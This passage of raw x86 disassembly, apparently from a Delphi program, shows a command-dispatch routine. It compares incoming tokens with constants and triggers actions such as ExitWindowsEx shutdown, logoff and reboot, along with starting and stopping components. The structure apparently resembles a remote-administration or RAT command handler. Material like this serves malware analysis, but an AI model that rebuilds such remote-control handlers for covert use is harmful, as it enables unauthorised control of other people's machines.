call fcn.004092f8
call fcn.0045b4d8
lea eax, [ebp - 0x38]
call fcn.0045b81c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4939e4
cmp dword [ebp - 0x38], 0
jne 0x493a1e
lea eax, [ebp - 0x38]
mov edx, 0x496320
call fcn.00404b98
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2f4]
mov ecx, 0x496160
mov eax, dword [ebp - 4]
call fcn.00490c60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2f4]
mov ecx, 0x4961f0
mov eax, dword [ebp - 4]
call fcn.00490c60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x8540]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8540]
mov edx, 0x496680
call fcn.00404efc
jne 0x493b71
xor eax, eax
push ebp
push 0x493b06
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x8544]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 5
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8544]
push eax
lea ecx, [ebp - 0x8548]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 4
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8548]
push eax
lea ecx, [ebp - 0x854c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x854c]
push eax
lea ecx, [ebp - 0x8550]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8550]
pop edx
pop ecx
call fcn.0045b274
lea eax, [ebp - 0x38]
call fcn.0045b81c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x493b10
cmp dword [ebp - 0x38], 0
jne 0x493b4a
lea eax, [ebp - 0x38]
mov edx, 0x496320
call fcn.00404b98
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2f4]
mov ecx, 0x496160
mov eax, dword [ebp - 4]
call fcn.00490c60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2f4]
mov ecx, 0x4961f0
mov eax, dword [ebp - 4]
call fcn.00490c60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x8554]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8554]
mov edx, 0x49668c
call fcn.00404efc
jne 0x493c4c
xor eax, eax
push ebp
push 0x493be1
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x8558]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8558]
call fcn.004092f8
call fcn.0045b6b8
lea eax, [ebp - 0x38]
call fcn.0045b81c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x493beb
cmp dword [ebp - 0x38], 0
jne 0x493c25
lea eax, [ebp - 0x38]
mov edx, 0x496320
call fcn.00404b98
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2f4]
mov ecx, 0x496160
mov eax, dword [ebp - 4]
call fcn.00490c60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2f4]
mov ecx, 0x4961f0
mov eax, dword [ebp - 4]
call fcn.00490c60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x855c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x855c]
mov edx, 0x496698
call fcn.00404efc
jne 0x493d27
xor eax, eax
push ebp
push 0x493cbc
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x8560]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8560]
call fcn.004092f8
call fcn.0045b638
lea eax, [ebp - 0x38]
call fcn.0045b81c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x493cc6
cmp dword [ebp - 0x38], 0
jne 0x493d00
lea eax, [ebp - 0x38]
mov edx, 0x496320
call fcn.00404b98
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2f4]
mov ecx, 0x496160
mov eax, dword [ebp - 4]
call fcn.00490c60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2f4]
mov ecx, 0x4961f0
mov eax, dword [ebp - 4]
call fcn.00490c60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x8564]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8564]
mov edx, 0x4966a4
call fcn.00404efc
jne 0x493e02
xor eax, eax
push ebp
push 0x493d97
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x8568]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8568]
call fcn.004092f8
call fcn.0045b5f8
lea eax, [ebp - 0x38]
call fcn.0045b81c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x493da1
cmp dword [ebp - 0x38], 0
jne 0x493ddb
lea eax, [ebp - 0x38]
mov edx, 0x496320
call fcn.00404b98
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2f4]
mov ecx, 0x496160
mov eax, dword [ebp - 4]
call fcn.00490c60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2f4]
mov ecx, 0x4961f0
mov eax, dword [ebp - 4]
call fcn.00490c60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x856c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x856c]
mov edx, 0x4966b0
call fcn.00404efc
jne 0x493edd
xor eax, eax
push ebp
push 0x493e72
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x8570]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8570]
call fcn.004092f8
call fcn.0045b678
lea eax, [ebp - 0x38]
call fcn.0045b81c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x493e7c
cmp dword [ebp - 0x38], 0
jne 0x493eb6
lea eax, [ebp - 0x38]
mov edx, 0x496320
call fcn.00404b98
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2f4]
mov ecx, 0x496160
mov eax, dword [ebp - 4]
call fcn.00490c60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2f4]
mov ecx, 0x4961f0
mov eax, dword [ebp - 4]
call fcn.00490c60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x8574]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8574]
mov edx, 0x4966bc
call fcn.00404efc
jne 0x494007
xor eax, eax
push ebp
push 0x493f2e
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x318]
call fcn.00403d10
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x493f38
xor eax, eax
push ebp
push 0x493ff0
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x460e34]
call fcn.00461244
mov ebx, eax
mov eax, dword [ebp - 4]
mov dword [eax + 0x318], ebx
lea ecx, [ebp - 0x8578]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov esi, dword [eax]
call dword [esi + 0xc]
mov edx, dword [ebp - 0x8578]
mov eax, ebx
call fcn.00461360
lea ecx, [ebp - 0x857c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x857c]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x318]
call fcn.00461374
lea ecx, [ebp - 0x8580]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 4
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8580]
call fcn.004092f8
mov edx, eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x318]
call fcn.00461350
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x318]
call fcn.0046130c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x493ffa
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x8584]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8584]
mov edx, 0x4966c8
call fcn.00404efc
jne 0x49406b
xor eax, eax
push ebp
push 0x494054
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x318]
call fcn.00403d10
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49405e
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x8588]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8588]
mov edx, 0x4966d4
call fcn.00404efc
jne 0x494143
xor eax, eax
push ebp
push 0x4940bc
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x31c]
call fcn.00403d10
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4940c6
xor eax, eax
push ebp
push 0x49412c
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x462640]
call fcn.004627b8
mov ebx, eax
mov eax, dword [ebp - 4]
mov dword [eax + 0x31c], ebx
lea ecx, [ebp - 0x858c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0x858c]
call fcn.004092f8
mov edx, eax
mov eax, ebx
call fcn.004628cc
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x31c]
call fcn.004628a8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x494136
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x8590]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8590]
mov edx, 0x4966e0
call fcn.00404efc
jne 0x4941a7
xor eax, eax
push ebp
push 0x494190
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x31c]
call fcn.00403d10
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49419a
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x8594]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8594]
mov edx, 0x4966ec
call fcn.00404efc
jne 0x494240
xor eax, eax
push ebp
push 0x49420f
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x8598]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ecx, dword [ebp - 0x8598]
mov edx, dword [0x4a5da4]
mov eax, dword [ebp - 4]
call fcn.0048f140
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x494219
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2f4]
mov ecx, 0x4962fc
mov eax, dword [ebp - 4]
call fcn.00490c60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x859c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x859c]
mov edx, 0x4966f8
call fcn.00404efc
jne 0x4942ae
call fcn.00459ff0
test al, al
je 0x49428b
call fcn.00490db0
push 0
push 0xc
call sub.user32.dll_ExitWindowsEx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
push 0
push 5
call sub.user32.dll_ExitWindowsEx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x85a0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85a0]
mov edx, 0x496704
call fcn.00404efc
jne 0x49431c
call fcn.00459ff0
test al, al
je 0x4942f9
call fcn.00490db0
push 0
push 6
call sub.user32.dll_ExitWindowsEx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
push 0
push 6
call sub.user32.dll_ExitWindowsEx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x85a4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85a4]
mov edx, 0x496710
call fcn.00404efc
jne 0x4943a4
xor eax, eax
push ebp
push 0x494373
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.0048efe8
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x308]
mov dl, 1
call fcn.0042dfe8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49437d
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2f4]
mov ecx, 0x4962fc
mov eax, dword [ebp - 4]
call fcn.00490c60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x85a8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85a8]
mov edx, 0x49671c
call fcn.00404efc
jne 0x49442c
xor eax, eax
push ebp
push 0x4943fb
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x308]
xor edx, edx
call fcn.0042dfe8
mov eax, dword [ebp - 4]
call fcn.0048f1d0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x494405
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2f4]
mov ecx, 0x4962fc
mov eax, dword [ebp - 4]
call fcn.00490c60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x85ac]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85ac]
mov edx, 0x496728
call fcn.00404efc
jne 0x494500
xor eax, eax
push ebp
push 0x4944c2
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x496734
call fcn.004092f8
push eax
mov eax, 0x4a5d58
mov ecx, 1
mov edx, dword [0x48e6bc]
call fcn.004061b4
add esp, 4
mov ecx, dword [ebp - 4]
mov dl, 1
mov eax, dword [0x46dfec]
call fcn.0046e970
mov dword [0x4a5d60], eax
mov eax, dword [0x4a5d60]
mov edx, dword [ebp - 4]
mov dword [eax + 0x3c], edx
mov dword [eax + 0x38], 0x490ee8
mov eax, dword [0x4a5d60]
call fcn.0046ecac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4944cc
lea eax, [ebp - 0x38]
mov edx, 0x496624
call fcn.00404b98
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2f4]
mov ecx, 0x4962fc
mov eax, dword [ebp - 4]
call fcn.00490c60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x85b0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85b0]
mov edx, 0x496740
call fcn.00404efc
jne 0x494587
xor eax, eax
push ebp
push 0x494549
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x4a5d60]
call fcn.0046ecd0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x494553
lea eax, [ebp - 0x38]
mov edx, 0x496624
call fcn.00404b98
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2f4]
mov ecx, 0x4962fc
mov eax, dword [ebp - 4]
call fcn.00490c60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x85b4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85b4]
mov edx, 0x49674c
call fcn.00404efc
jne 0x494660
xor eax, eax
push ebp
push 0x4945ee
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [0x4a5d48], 0
je 0x4945d3
mov eax, dword [0x4a5d3c]
call fcn.0041e7ec
mov dl, 1
mov eax, dword [0x48de14]
call fcn.0048df04
mov dword [0x4a5d3c], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4945f8
lea eax, [ebp - 0x38]
mov edx, 0x496160
call fcn.00404b98
mov ecx, 0x496154
lea eax, [ebp - 0x85b8]
mov edx, dword [ebp - 0x38]
call fcn.00404e04
mov edx, dword [ebp - 0x85b8]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2f4]
mov ecx, dword [eax]
call dword [ecx + 0x78]
lea eax, [ebp - 0x38]
mov edx, 0x496758
call fcn.00404b98
mov ecx, 0x496154
lea eax, [ebp - 0x85bc]
mov edx, dword [ebp - 0x38]
call fcn.00404e04
mov edx, dword [ebp - 0x85bc]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2f4]
mov ecx, dword [eax]
call dword [ecx + 0x78]
lea ecx, [ebp - 0x85c0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85c0]
mov edx, 0x496768
call fcn.00404efc
jne 0x4947eb
xor eax, eax
push ebp
push 0x494764
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x300]
mov edx, dword [eax]
call dword [edx + 0x58]
xor eax, eax
mov dword [0x4a5d94], eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x300]
mov eax, dword [ebp - 4]
call fcn.004907d4
test al, al
je 0x49474d
xor eax, eax
push ebp
push 0x494713
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x38]
mov edx, 0x4962d8
call fcn.00404b98
mov ecx, 0x496154
lea eax, [ebp - 0x85c4]
mov edx, dword [ebp - 0x38]
call fcn.00404e04
mov edx, dword [ebp - 0x85c4]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x300]
mov ecx, dword [eax]
call dword [ecx + 0x78]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x494745
mov eax, dword [ebp - 4]
call fcn.00499444
lea eax, [ebp - 0x18]
mov edx, 0x496774
call fcn.00404b98
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x494785
lea eax, [ebp - 0x38]
mov edx, 0x496160
call fcn.00404b98
mov ecx, 0x496154
lea eax, [ebp - 0x85c8]
mov edx, dword [ebp - 0x38]
call fcn.00404e04
mov edx, dword [ebp - 0x85c8]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2f4]
mov ecx, dword [eax]
call dword [ecx + 0x78]
lea eax, [ebp - 0x38]
mov edx, dword [ebp - 0x18]
call fcn.00404b98
mov ecx, 0x496154
lea eax, [ebp - 0x85cc]
mov edx, dword [ebp - 0x38]
call fcn.00404e04
mov edx, dword [ebp - 0x85cc]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2f4]
mov ecx, dword [eax]
call dword [ecx + 0x78]
lea ecx, [ebp - 0x85d0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85d0]
mov edx, 0x496794
call fcn.00404efc
jne 0x4948d8
lea eax, [ebp - 0x18]
mov edx, 0x4967a0
call fcn.00404b98
xor eax, eax
push ebp
push 0x49485b
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [0x4a5d94], 0xffffffff
mov eax, dword [ebp - 4]
call fcn.004995a0
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x300]
mov edx, dword [eax]
call dword [edx + 0x58]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x494872
lea eax, [ebp - 0x38]
mov edx, 0x496160
call fcn.00404b98
mov ecx, 0x496154
lea eax, [ebp - 0x85d4]
mov edx, dword [ebp - 0x38]
call fcn.00404e04
mov edx, dword [ebp - 0x85d4]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2f4]
mov ecx, dword [eax]
call dword [ecx + 0x78]
lea eax, [ebp - 0x38]
mov edx, dword [ebp - 0x18]
call fcn.00404b98
mov ecx, 0x496154
lea eax, [ebp - 0x85d8]
mov edx, dword [ebp - 0x38]
call fcn.00404e04
mov edx, dword [ebp - 0x85d8]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2f4]
mov ecx, dword [eax]
call dword [ecx + 0x78]
lea ecx, [ebp - 0x85dc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85dc]
mov edx, 0x4967c0
call fcn.00404efc
jne 0x494a81
xor eax, eax
push ebp
push 0x4949fa
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x300]
mov edx, dword [eax]
call dword [edx + 0x58]
lea ecx, [ebp - 0x85e0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85e0]
call fcn.004092f8
mov dword [0x4a5d94], eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x300]
mov eax, dword [ebp - 4]
call fcn.004907d4
test al, al
je 0x4949e3
xor eax, eax
push ebp
push 0x4949a9
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x38]
mov edx, 0x4962d8
call fcn.00404b98
mov ecx, 0x496154
lea eax, [ebp - 0x85e4]
mov edx, dword [ebp - 0x38]
call fcn.00404e04
mov edx, dword [ebp - 0x85e4]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x300]
mov ecx, dword [eax]
call dword [ecx + 0x78]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4949db
mov eax, dword [ebp - 4]
call fcn.00499444
lea eax, [ebp - 0x18]
mov edx, 0x496774
call fcn.00404b98
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x494a1b
lea eax, [ebp - 0x38]
mov edx, 0x496160
call fcn.00404b98
mov ecx, 0x496154
lea eax, [ebp - 0x85e8]
mov edx, dword [ebp - 0x38]
call fcn.00404e04
mov edx, dword [ebp - 0x85e8]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2f4]
mov ecx, dword [eax]
call dword [ecx + 0x78]
lea eax, [ebp - 0x38]
mov edx, dword [ebp - 0x18]
call fcn.00404b98
mov ecx, 0x496154
lea eax, [ebp - 0x85ec]
mov edx, dword [ebp - 0x38]
call fcn.00404e04
mov edx, dword [ebp - 0x85ec]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2f4]
mov ecx, dword [eax]
call dword [ecx + 0x78]
lea ecx, [ebp - 0x85f0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85f0]
mov edx, 0x4967cc
call fcn.00404efc
jne 0x494b11
xor eax, eax
push ebp
push 0x494acd
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0048fa84
lea edx, [ebp - 0x38]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x494ad7
cmp dword [ebp - 0x38], 0
jne 0x494aea
lea eax, [ebp - 0x38]
mov edx, 0x4967d8
call fcn.00404b98
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2f4]
mov ecx, 0x4962e4
mov eax, dword [ebp - 4]
call fcn.00490c60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x85f4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85f4]
mov edx, 0x4967e4
call fcn.00404efc
jne 0x494c62
lea eax, [ebp - 0x86f4]
mov edx, dword [0x49eef8]
mov edx, dword [edx]
call fcn.00403814
lea eax, [ebp - 0x86f4]
mov edx, 0x4967e8
xor ecx, ecx
mov cl, byte [eax]
inc ecx
call fcn.004031cc
jne 0x494c24
lea eax, [ebp - 0x86f4]
mov edx, dword [0x49ed98]
mov edx, dword [edx]
call fcn.00403814
lea eax, [ebp - 0x86f4]
mov edx, 0x4967ec
xor ecx, ecx
mov cl, byte [eax]
inc ecx
call fcn.004031cc
jne 0x494c24
xor eax, eax
push ebp
push 0x494c1a
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x86fc]
mov edx, dword [0x49eb50]
mov edx, dword [edx]
call fcn.00404cf0
mov eax, dword [ebp - 0x86fc]
call fcn.004092f8
lea edx, [ebp - 0x86f8]
call fcn.0045ad14
lea eax, [ebp - 0x86f8]
mov edx, 0x4967f8
call fcn.00404dc0
mov edx, dword [ebp - 0x86f8]
lea eax, [ebp - 0x8358]
call fcn.00402ef4
lea eax, [ebp - 0x8358]
call fcn.00402c90
call fcn.004028ac
lea eax, [ebp - 0x8358]
call fcn.00403098
call fcn.004028ac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x494c24
xor eax, eax
push ebp
push 0x494c44
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00499048
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x494c4e
xor eax, eax
call fcn.00404a64
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x8700]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
